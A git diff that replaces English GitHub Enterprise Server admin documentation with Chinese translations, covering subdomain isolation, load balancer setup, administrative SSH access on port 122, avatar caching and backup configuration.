b/translations/zh-CN/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md index 1e67bc7da9..e2f15d08d8 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md +++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md @@ -1,6 +1,6 @@ --- -title: Enabling subdomain isolation -intro: 'You can set up subdomain isolation to securely separate user-supplied content from other portions of your {% data variables.product.prodname_ghe_server %} appliance.' +title: 启用子域隔离 +intro: '您可以设置子域隔离,将用户提供的内容与 {% data variables.product.prodname_ghe_server %} 设备的其他部分安全地隔离。' redirect_from: - /enterprise/admin/guides/installation/about-subdomain-isolation - /enterprise/admin/installation/enabling-subdomain-isolation @@ -16,16 +16,22 @@ topics: - Networking - Security shortTitle: Enable subdomain isolation +ms.openlocfilehash: 6ce23de3646d3ca3f4523ec7716907f8b5430564 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193095' --- -## About subdomain isolation +## 关于子域隔离 -Subdomain isolation mitigates cross-site scripting and other related vulnerabilities. For more information, see "[Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)" on Wikipedia. We highly recommend that you enable subdomain isolation on {% data variables.location.product_location %}. +子域隔离可以减少跨站脚本和其他相关漏洞。 有关详细信息,请参阅维基百科上的“[跨站脚本](http://en.wikipedia.org/wiki/Cross-site_scripting)”。 强烈建议在 {% data variables.location.product_location %} 上启用子域隔离。 -When subdomain isolation is enabled, {% data variables.product.prodname_ghe_server %} replaces several paths with subdomains. After enabling subdomain isolation, attempts to access the previous paths for some user-supplied content, such as `http(s)://HOSTNAME/raw/`, may return `404` errors. +启用子域隔离后,{% data variables.product.prodname_ghe_server %} 会以子域替代多个路径。 启用子域隔离后,尝试访问某些用户提供内容的以前的路径(如 `http(s)://HOSTNAME/raw/`)可能会返回 `404` 错误。 {% data reusables.enterprise_site_admin_settings.3-7-new-subdomains %} -| Path without subdomain isolation | Path with subdomain isolation | +| 未使用子域隔离的路径 | 使用子域隔离的路径 | | --- | --- | | `http(s)://HOSTNAME/` | `http(s)://docker.HOSTNAME/` | | `http(s)://HOSTNAME/_registry/npm/` | `https://npm.HOSTNAME/` | @@ -37,42 +43,24 @@ When subdomain isolation is enabled, {% data variables.product.prodname_ghe_serv | `http(s)://HOSTNAME/codeload/` | `http(s)://codeload.HOSTNAME/` | | `http(s)://HOSTNAME/gist/` | `http(s)://gist.HOSTNAME/` | | `http(s)://HOSTNAME/media/` | `http(s)://media.HOSTNAME/` | -{%- ifversion viewscreen-and-notebooks %} -| `http(s)://HOSTNAME/notebooks/` | `http(s)://notebooks.HOSTNAME/` | -{%- endif %} -| `http(s)://HOSTNAME/pages/` | `http(s)://pages.HOSTNAME/` | -| `http(s)://HOSTNAME/raw/` | `http(s)://raw.HOSTNAME/` | -{%- ifversion ghes < 3.7 %} -| `http(s)://HOSTNAME/render/` | `http(s)://render.HOSTNAME/` | -{%- endif %} -| `http(s)://HOSTNAME/reply/` | `http(s)://reply.HOSTNAME/` | -| `http(s)://HOSTNAME/uploads/` | `http(s)://uploads.HOSTNAME/` | -{%- ifversion viewscreen-and-notebooks %} -| `http(s)://HOSTNAME/viewscreen/` | `http(s)://viewscreen.HOSTNAME/` | -{%- endif %} -{%- ifversion ghes > 3.4 %} -| Not supported | `https://containers.HOSTNAME/` | -{%- endif %} +{%- ifversion viewscreen-and-notebooks %} | `http(s)://HOSTNAME/notebooks/` | `http(s)://notebooks.HOSTNAME/` | {%- endif %} | `http(s)://HOSTNAME/pages/` | `http(s)://pages.HOSTNAME/` | | `http(s)://HOSTNAME/raw/` | `http(s)://raw.HOSTNAME/` | {%- ifversion ghes < 3.7 %} | `http(s)://HOSTNAME/render/` | `http(s)://render.HOSTNAME/` | {%- endif %} | `http(s)://HOSTNAME/reply/` | `http(s)://reply.HOSTNAME/` | | `http(s)://HOSTNAME/uploads/` | `http(s)://uploads.HOSTNAME/` | {%- ifversion viewscreen-and-notebooks %} | `http(s)://HOSTNAME/viewscreen/` | `http(s)://viewscreen.HOSTNAME/` | {%- endif %} {%- ifversion ghes > 3.4 %} | Not supported | `https://containers.HOSTNAME/` | {%- endif %} -## Prerequisites +## 先决条件 {% data reusables.enterprise_installation.disable-github-pages-warning %} -Before you enable subdomain isolation, you must configure your network settings for your new domain. +启用子域隔离之前,您必须为新域配置网络设置。 -- Specify a valid domain name as your hostname, instead of an IP address. For more information, see "[Configuring a hostname](/enterprise/admin/guides/installation/configuring-a-hostname)." +- 指定有效域名作为主机名,而不是指定 IP 地址。 有关详细信息,请参阅“[配置主机名](/enterprise/admin/guides/installation/configuring-a-hostname)”。 {% data reusables.enterprise_installation.changing-hostname-not-supported %} -- Set up a wildcard Domain Name System (DNS) record or individual DNS records for the subdomains listed above. We recommend creating an A record for `*.HOSTNAME` that points to your server's IP address so you don't have to create multiple records for each subdomain. -- Get a wildcard Transport Layer Security (TLS) certificate for `*.HOSTNAME` with a Subject Alternative Name (SAN) for both `HOSTNAME` and the wildcard domain `*.HOSTNAME`. For example, if your hostname is `github.octoinc.com`, get a certificate with the Common Name value set to `*.github.octoinc.com` and a SAN value set to both `github.octoinc.com` and `*.github.octoinc.com`. -- Enable TLS on your appliance. For more information, see "[Configuring TLS](/enterprise/admin/guides/installation/configuring-tls/)." +- 为上文列出的子域设置通配符域名系统 (DNS) 记录或单独的 DNS 记录。 建议为指向服务器 IP 地址的 `*.HOSTNAME` 创建一条 A 记录,从而无需为各个子域创建多条记录。 +- 为 `*.HOSTNAME` 获取一个使用者可选名称 (SAN) 同时适用于 `HOSTNAME` 和通配符域 `*.HOSTNAME` 的通配符传输层安全 (TLS) 证书。 例如,如果主机名为 `github.octoinc.com`,则获取一个公用名值设为 `*.github.octoinc.com`、SAN 值同时设为 `github.octoinc.com` 和 `*.github.octoinc.com` 的证书。 +- 在设备上启用 TLS。 有关详细信息,请参阅“[配置 TLS](/enterprise/admin/guides/installation/configuring-tls/)”。 -## Enabling subdomain isolation +## 启用子域隔离 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.hostname-menu-item %} -4. Select **Subdomain isolation (recommended)**. - ![Checkbox to enable subdomain isolation](/assets/images/enterprise/management-console/subdomain-isolation.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.hostname-menu-item %} +4. 选择“子域隔离(建议)”。 + ![用于启用子域隔离的复选框](/assets/images/enterprise/management-console/subdomain-isolation.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md index 955ed62c25..533bde5cb6 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md +++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md @@ -1,6 +1,6 @@ --- -title: Using GitHub Enterprise Server with a load balancer -intro: 'Use a load balancer in front of a single {% data variables.product.prodname_ghe_server %} instance or a pair of instances in a High Availability configuration.' +title: 结合使用 GitHub Enterprise Server 和负载均衡器 +intro: '在单个 {% data variables.product.prodname_ghe_server %} 设备或一对采用高可用性配置的示例前方使用负载均衡器。' redirect_from: - /enterprise/admin/guides/installation/using-github-enterprise-with-a-load-balancer - /enterprise/admin/installation/using-github-enterprise-server-with-a-load-balancer @@ -15,17 +15,22 @@ topics: - Infrastructure - Networking shortTitle: Use a load balancer +ms.openlocfilehash: dcbd1261d127e48140f6b6843ef4ec3c35fb84f4 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147167313' --- - -## About load balancers +## 关于负载均衡器 {% data reusables.enterprise_clustering.load_balancer_intro %} {% data reusables.enterprise_clustering.load_balancer_dns %} -## Handling client connection information +## 处理客户端连接信息 -Because client connections to {% data variables.product.prodname_ghe_server %} come from the load balancer, the client IP address can be lost. +由于与 {% data variables.product.prodname_ghe_server %} 的客户端连接来自负载均衡器,因此客户端 IP 可丢失。 {% data reusables.enterprise_clustering.proxy_preference %} @@ -33,70 +38,63 @@ Because client connections to {% data variables.product.prodname_ghe_server %} c {% data reusables.enterprise_installation.terminating-tls %} -### Enabling PROXY protocol support on {% data variables.location.product_location %} +### 在 {% data variables.product.product_location %} 上启用 PROXY 协议支持 -We strongly recommend enabling PROXY protocol support for both your instance and the load balancer. Use the instructions provided by your vendor to enable the PROXY protocol on your load balancer. For more information, see [the PROXY protocol documentation](http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt). +强烈建议同时为实例和负载均衡器启用 PROXY 协议支持。 按照您的供应商提供的说明操作,在负载均衡器上启用 PROXY 协议。 有关详细信息,请参阅 [PROXY 协议文档](http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)。 {% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -3. Under **External load balancers**, select **Enable support for PROXY protocol**. -![Checkbox to enable support for PROXY protocol](/assets/images/enterprise/management-console/enable-proxy.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.privacy %} +3. 在“外部负载均衡器”下,选择“启用对 PROXY 协议的支持” 。 +![用于启用对 PROXY 协议的支持的复选框](/assets/images/enterprise/management-console/enable-proxy.png) {% data reusables.enterprise_management_console.save-settings %} {% data reusables.enterprise_clustering.proxy_protocol_ports %} -### Enabling X-Forwarded-For support on {% data variables.location.product_location %} +### 在 {% data variables.product.product_location %} 上启用 X-Forwarded-For 支持 {% data reusables.enterprise_clustering.x-forwarded-for %} {% warning %} -**Warning**: If you configure `X-Forwarded-For` support on {% data variables.location.product_location %} and load balancer, you may not be able to connect to the {% data variables.enterprise.management_console %}. For more information, see "[Error: "Your session has expired" for connections to the {% data variables.enterprise.management_console %}](/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer#error-your-session-has-expired-for-connections-to-the-management-console)." +警告:如果在 {% data variables.product.product_location %} 和负载均衡器上配置 `X-Forwarded-For` 支持,则可能无法连接到 {% data variables.enterprise.management_console %}。 有关详细信息,请参阅“[错误:“会话已过期”,无法连接到 {% data variables.enterprise.management_console %}](/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer#error-your-session-has-expired-for-connections-to-the-management-console)”。 {% endwarning %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -3. Under **External load balancers**, select **Allow HTTP X-Forwarded-For header**. -![Checkbox to allow the HTTP X-Forwarded-For header](/assets/images/enterprise/management-console/allow-xff.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.privacy %} +3. 在“外部负载均衡器”下,选择“允许 HTTP X-Forwarded-For 标头” 。 +![用于允许 HTTP X-Forwarded-For 标头的复选框](/assets/images/enterprise/management-console/allow-xff.png) {% data reusables.enterprise_management_console.save-settings %} {% data reusables.enterprise_clustering.without_proxy_protocol_ports %} -## Configuring health checks +## 配置健康状态检查 -Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If the instance is offline due to maintenance or unexpected failure, the load balancer can display a status page. In a High Availability (HA) configuration, a load balancer can be used as part of a failover strategy. However, automatic failover of HA pairs is not supported. You must manually promote the replica instance before it will begin serving requests. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)." +如果预配置的检查在该节点上失败,则状态检查允许负载均衡器停止向未响应的节点发送流量。 如果实例因维护或计划外的故障而离线,负载均衡器可以显示状态页面。 在高可用性 (HA) 配置下,负载均衡器可用作故障转移策略的组成部分。 不过,不支持 HA 对的自动故障转移。 在副本示例设备开始为请求提供服务之前,你必须对其进行手动升级。 有关详细信息,请参阅“[为高可用性配置 {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)。” -{% data reusables.enterprise_clustering.health_checks %} -{% data reusables.enterprise_site_admin_settings.maintenance-mode-status %} +{% data reusables.enterprise_clustering.health_checks %} {% data reusables.enterprise_site_admin_settings.maintenance-mode-status %} -## Troubleshooting connectivity through a load balancer +## 通过负载均衡器排查连接问题 -If you cannot connect to services on {% data variables.location.product_location %} through a load balancer, you can review the following information to troubleshoot the problem. +如果无法通过负载均衡器连接到 {% data variables.product.product_location %} 上的服务,可以查看以下信息来解决问题。 {% note %} -**Note**: Always test changes to your network infrastructure and instance configuration in a staging environment. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)." +注意:始终在过渡环境中测试对网络基础结构和实例配置的更改。 有关详细信息,请参阅“[设置暂存实例](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)”。 {% endnote %} -### Error: "Your session has expired" for connections to the {% data variables.enterprise.management_console %} +### 错误:“会话已过期”,无法连接到 {% data variables.enterprise.management_console %} -If you enable support for the `X-Forwarded-For` header on your instance and load balancer, you may not be able to access your instance's {% data variables.enterprise.management_console %}. For more information about the {% data variables.enterprise.management_console %} and ports required for connections, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)" and "[Network ports](/admin/configuration/configuring-network-settings/network-ports)." +如果在实例和负载均衡器上启用对 `X-Forwarded-For` 标头的支持,则可能无法访问实例的 {% data variables.enterprise.management_console %}。 有关连接所需的 {% data variables.enterprise.management_console %} 和端口的详细信息,请参阅“[访问管理控制台](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)”和“[网络端口](/admin/configuration/configuring-network-settings/network-ports)”。 -If {% data variables.location.product_location %} indicates that your session has expired when you connect to the {% data variables.enterprise.management_console %} through a load balancer, try one of the following configurations on your load balancer. +如果 {% data variables.product.product_location %} 指示通过负载均衡器连接到 {% data variables.enterprise.management_console %} 时会话已过期,请在负载均衡器上尝试以下配置之一。 -- Disable `X-Forwarded-For` headers for connections to your instance on ports 8080 and 8443. -- Configure your load balancer to operate on Layer 4, and use the PROXY protocol instead of `X-Forwarded-For` for passthrough of client IP addresses. For more information, see "[Enabling PROXY protocol support on {% data variables.location.product_location %}](#enabling-proxy-protocol-support-on-your-github-enterprise-server-instance)." +- 在端口 8080 和 8443 上禁用连接到实例的 `X-Forwarded-For` 标头。 +- 将负载均衡器配置为在第 4 层上运行,并使用 PROXY 协议(而不是 `X-Forwarded-For`)来传递客户端 IP 地址。 有关详细信息,请参阅在“[在 {% data variables.product.product_location %} 上启用 PROXY 协议支持](#enabling-proxy-protocol-support-on-your-github-enterprise-server-instance)”。 -For more information, refer to the documentation for your load balancer. +有关详细信息,请参阅负载均衡器文档。 -### Live updates to issues and check runs not working +### 对问题的实时更新和检查运行不起作用 -When {% data variables.location.product_location %} is accessed via a load balancer or reverse proxy, expected live updates, such as new comments on issues and changes in notification badges or check run output, may not display until the page is refreshed. This is most common when the reverse proxy or load balancer is running in a layer 7 mode or does not support the required [websocket](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API) protocol. +当通过负载均衡器或反向代理访问 {% data variables.product.product_location %} 时,预期的实时更新(如有关通知标记中问题和更改的新注释或检查运行输出)在页面刷新之前可能不会显示。 当反向代理或负载均衡器在第 7 层模式下运行或不支持所需的 [Websocket](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API) 协议时,这是最常见的。 -To enable live updates, you may need to reconfigure the load balancer or proxy. For more information, refer to the documentation for your load balancer. +若要启用实时更新,可能需要重新配置负载均衡器或代理。 有关详细信息,请参阅负载均衡器文档。 diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md index 50ed3a2fa2..4e8ee48a95 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md +++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md @@ -1,6 +1,6 @@ --- -title: Validating your domain settings -intro: 'Ensure that your domain settings are properly configured before booting up {% data variables.location.product_location %} for the first time.' +title: 验证域设置 +intro: '首次启动 {% data variables.product.product_location %} 之前,请确保域设置已正确配置。' redirect_from: - /enterprise/admin/installation/validating-your-domain-settings - /enterprise/admin/configuration/validating-your-domain-settings @@ -14,11 +14,13 @@ topics: - Infrastructure - Networking shortTitle: Validate domain settings +ms.openlocfilehash: 113f7b3d3f335e73627cebf90a91cbf326c40c99 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145100078' --- -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.hostname-menu-item %} -4. To test your appliance's DNS and SSL settings, click **Test domain settings**. - ![Test domain settings button](/assets/images/enterprise/management-console/test-domain-settings.png) -{% data reusables.enterprise_management_console.test-domain-settings-failure %} -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.hostname-menu-item %} +4. 要测试设备的 DNS 和 SSL 设置,请单击“测试域设置”。 + ![“测试域设置”按钮](/assets/images/enterprise/management-console/test-domain-settings.png) {% data reusables.enterprise_management_console.test-domain-settings-failure %} {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md index 46eaace76c..3295e64ecb 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md @@ -1,5 +1,5 @@ --- -title: Accessing the administrative shell (SSH) +title: 访问管理 shell (SSH) redirect_from: - /enterprise/admin/articles/ssh-access - /enterprise/admin/articles/adding-an-ssh-key-for-shell-access @@ -20,30 +20,34 @@ topics: - Fundamentals - SSH shortTitle: Access the admin shell (SSH) +ms.openlocfilehash: 8d8b9cd71a436c0874355b1bdd53ba2e400660a0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145100077' --- -## About administrative shell access +## 关于管理 shell 访问 -If you have SSH access to the administrative shell, you can run {% data variables.product.prodname_ghe_server %}'s command line utilities. SSH access is also useful for troubleshooting, running backups, and configuring replication. Administrative SSH access is managed separately from Git SSH access and is accessible only via port 122. +如果您有权限通过 SSH 访问管理 shell,可运行 {% data variables.product.prodname_ghe_server %} 的命令行实用程序。 SSH 访问也可用于故障排查、运行备份和配置复制。 管理 SSH 访问与 Git SSH 访问分开管理,仅可通过端口 122 访问。 -## Enabling access to the administrative shell via SSH +## 允许通过 SSH 访问管理 shell -To enable administrative SSH access, you must add your SSH public key to your instance's list of authorized keys. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)." +要启用管理 SSH 访问,您必须向授权密钥的实例列表添加 SSH 公钥。 {% tip %} -**Tip:** Changes to authorized SSH keys take effect immediately. +提示:对授权 SSH 密钥进行的变更会立即生效。 {% endtip %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -3. Under "SSH access", paste your key into the text box, then click **Add key**. - ![Text box and button for adding an SSH key](/assets/images/enterprise/settings/add-authorized-ssh-key-admin-shell.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} +3. 在“SSH 访问”下,将密钥粘贴到文本框中,然后单击“添加密钥”。 + ![添加 SSH 密钥的文本框和按钮](/assets/images/enterprise/settings/add-authorized-ssh-key-admin-shell.png) {% data reusables.enterprise_management_console.save-settings %} -## Connecting to the administrative shell over SSH +## 通过 SSH 连接到管理 shell -After you've added your SSH key to the list, connect to the instance over SSH as the `admin` user on port 122. +将 SSH 密钥添加到列表后,以 `admin` 用户的身份在端口 122 上通过 SSH 连接到实例。 ```shell $ ssh -p 122 admin@github.example.com @@ -51,29 +55,29 @@ Last login: Sun Nov 9 07:53:29 2014 from 169.254.1.1 admin@github-example-com:~$ █ ``` -### Troubleshooting SSH connection problems +### 排查 SSH 连接问题 -If you encounter the `Permission denied (publickey)` error when you try to connect to {% data variables.location.product_location %} via SSH, confirm that you are connecting over port 122. You may need to explicitly specify which private SSH key to use. +如果在尝试通过 SSH 连接到 {% data variables.product.product_location %} 时发生 `Permission denied (publickey)` 错误,请确认是否是通过端口 122 进行连接的。 您可能需要明确指定要使用的 SSH 私钥。 -To specify a private SSH key using the command line, run `ssh` with the `-i` argument. +要使用命令行指定 SSH 私钥,请使用 `-i` 参数运行 `ssh`。 ```shell -ssh -i /path/to/ghe_private_key -p 122 admin@HOSTNAME +ssh -i /path/to/ghe_private_key -p 122 admin@hostname ``` -You can also specify a private SSH key using the SSH configuration file (`~/.ssh/config`). +还可以使用 SSH 配置文件 (`~/.ssh/config`) 指定 SSH 私钥。 ```shell -Host HOSTNAME +Host hostname IdentityFile /path/to/ghe_private_key User admin Port 122 ``` -## Accessing the administrative shell using the local console +## 使用本地控制台访问管理 shell -In an emergency situation, for example if SSH is unavailable, you can access the administrative shell locally. Sign in as the `admin` user and use the password established during initial setup of {% data variables.product.prodname_ghe_server %}. +在 SSH 不可用等紧急情况下,您可以在本地访问管理 shell。 以 `admin` 用户身份登录,并使用在 {% data variables.product.prodname_ghe_server %} 初始设置期间确定的密码。 -## Access limitations for the administrative shell +## 管理 shell 的访问限制 -Administrative shell access is permitted for troubleshooting and performing documented operations procedures only. Modifying system and application files, running programs, or installing unsupported software packages may void your support contract. Please contact {% data variables.contact.contact_ent_support %} if you have a question about the activities allowed by your support contract. +管理 shell 访问仅可用于故障排查和执行记录的操作程序。 修改系统和应用程序文件、运行程序或安装不受支持的软件包可能导致支持合约失效。 如果您对支持合约允许的活动有任何疑问,请联系 {% data variables.contact.contact_ent_support %}。 diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-applications.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-applications.md index 07a9b2af5d..fafdb9df1f 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-applications.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-applications.md @@ -1,6 +1,6 @@ --- -title: Configuring applications -intro: 'You can configure internal application settings for {% data variables.location.product_location %}.' +title: 配置应用程序 +intro: '你可以为 {% data variables.product.product_location %} 配置内部应用程序设置。' redirect_from: - /enterprise/admin/installation/configuring-applications - /enterprise/admin/configuration/configuring-applications @@ -11,15 +11,19 @@ type: how_to topics: - Enterprise - Fundamentals +ms.openlocfilehash: bcc51bdabb5dc0b5ecdd4f77db9246a60c8df496 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145100074' --- -## Adjusting image caching +## 调整图像缓存 -You can choose the amount of time that {% data variables.location.product_location %} caches avatars. When you increase the cache time, you increase the amount of time a user's avatar will take to load. Configuring the cache time with too low a value can overload {% data variables.location.product_location %} work processes. +可以选择 {% data variables.product.product_location %} 缓存头像的时长。 如果您增加缓存时间,则会增加加载用户头像所需的时长。 将缓存时间值配置为过小的值会导致 {% data variables.product.product_location %} 工作进程过载。 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -3. In the left sidebar, click **Applications**. -![Applications tab in the settings sidebar](/assets/images/enterprise/management-console/sidebar-applications.png) -4. Under "Avatar image cache time (seconds)", type the number of seconds that you would like {% data variables.location.product_location %} to cache avatar images. -![Avatar image caching form field](/assets/images/enterprise/management-console/add-image-caching-value-field.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} +3. 在左侧边栏中,单击“应用程序”。 +![设置边栏中的“应用程序”选项卡](/assets/images/enterprise/management-console/sidebar-applications.png) +4. 在“头像图像缓存时间(秒)”下,输入希望 {% data variables.product.product_location %} 缓存头像图像的秒数。 +![头像图像缓存表单字段](/assets/images/enterprise/management-console/add-image-caching-value-field.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md index a8fecf4017..8010b7d3e1 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md @@ -1,5 +1,5 @@ --- -title: Configuring backups on your appliance +title: 在设备上配置备份 shortTitle: Configuring backups redirect_from: - /enterprise/admin/categories/backups-and-restores @@ -14,7 +14,7 @@ redirect_from: - /enterprise/admin/installation/configuring-backups-on-your-appliance - /enterprise/admin/configuration/configuring-backups-on-your-appliance - /admin/configuration/configuring-backups-on-your-appliance -intro: 'As part of a disaster recovery plan, you can protect production data on {% data variables.location.product_location %} by configuring automated backups.' +intro: '作为灾难恢复计划的一部分,你可以通过配置自动备份的方式保护 {% data variables.product.product_location %} 中的生产数据。' versions: ghes: '*' type: how_to @@ -23,158 +23,162 @@ topics: - Enterprise - Fundamentals - Infrastructure +ms.openlocfilehash: 4403ec24aa3da63f6700ae4bfcd2392ec0cfd194 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147861650' --- -## About {% data variables.product.prodname_enterprise_backup_utilities %} +## 关于 {% data variables.product.prodname_enterprise_backup_utilities %} -{% data variables.product.prodname_enterprise_backup_utilities %} is a backup system you install on a separate host, which takes backup snapshots of {% data variables.location.product_location %} at regular intervals over a secure SSH network connection. You can use a snapshot to restore an existing {% data variables.product.prodname_ghe_server %} instance to a previous state from the backup host. +{% data variables.product.prodname_enterprise_backup_utilities %} 是安装在单独主机上的备份系统,它通过安全的 SSH 网络连接定期对 {% data variables.product.product_location %} 进行备份快照。 您可以使用快照将现有的 {% data variables.product.prodname_ghe_server %} 实例从备份主机还原为上一个状态。 -Only data added since the last snapshot will transfer over the network and occupy additional physical storage space. To minimize performance impact, backups are performed online under the lowest CPU/IO priority. You do not need to schedule a maintenance window to perform a backup. +只有自上一个快照之后添加的数据将通过网络传输并占用额外的物理存储空间。 要最大限度地减小对性能的影响,会以最低 CPU/IO 优先级在线执行备份。 您不需要排定维护窗口来执行备份。 -Major releases and version numbers for {% data variables.product.prodname_enterprise_backup_utilities %} align with feature releases of {% data variables.product.product_name %}. We support the four most recent versions of both products. For more information, see "[{% data variables.product.product_name %} releases](/admin/all-releases)." +{% data variables.product.prodname_enterprise_backup_utilities %} 的主要版本和版本号与 {% data variables.product.product_name %} 的功能版一致。 我们支持这两种产品的四个最新版本。 有关详细信息,请参阅“[{% data variables.product.product_name %} 版本](/admin/all-releases)”。 -For more detailed information on features, requirements, and advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. +有关功能、要求和高级使用情况的更多详细信息,请参阅 {% data variables.product.prodname_enterprise_backup_utilities %} 项目文档中的 [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme)。 -## Prerequisites +## 先决条件 -To use {% data variables.product.prodname_enterprise_backup_utilities %}, you must have a Linux or Unix host system separate from {% data variables.location.product_location %}. +若要使用 {% data variables.product.prodname_enterprise_backup_utilities %},必须将 Linux 或 Unix 主机系统与 {% data variables.product.product_location %} 分开。 -You can also integrate {% data variables.product.prodname_enterprise_backup_utilities %} into an existing environment for long-term permanent storage of critical data. +您还可以将 {% data variables.product.prodname_enterprise_backup_utilities %} 集成到现有环境中,以便长期、永久地存储重要数据。 -We recommend that the backup host and {% data variables.location.product_location %} be geographically distant from each other. This ensures that backups are available for recovery in the event of a major disaster or network outage at the primary site. +建议将备份主机和 {% data variables.product.product_location %} 放置在相距较远的地理位置。 这样可以确保在主要站点发生重大事故或网络故障的情况下通过备份进行还原。 -Physical storage requirements will vary based on Git repository disk usage and expected growth patterns: +物理存储要求将因 Git 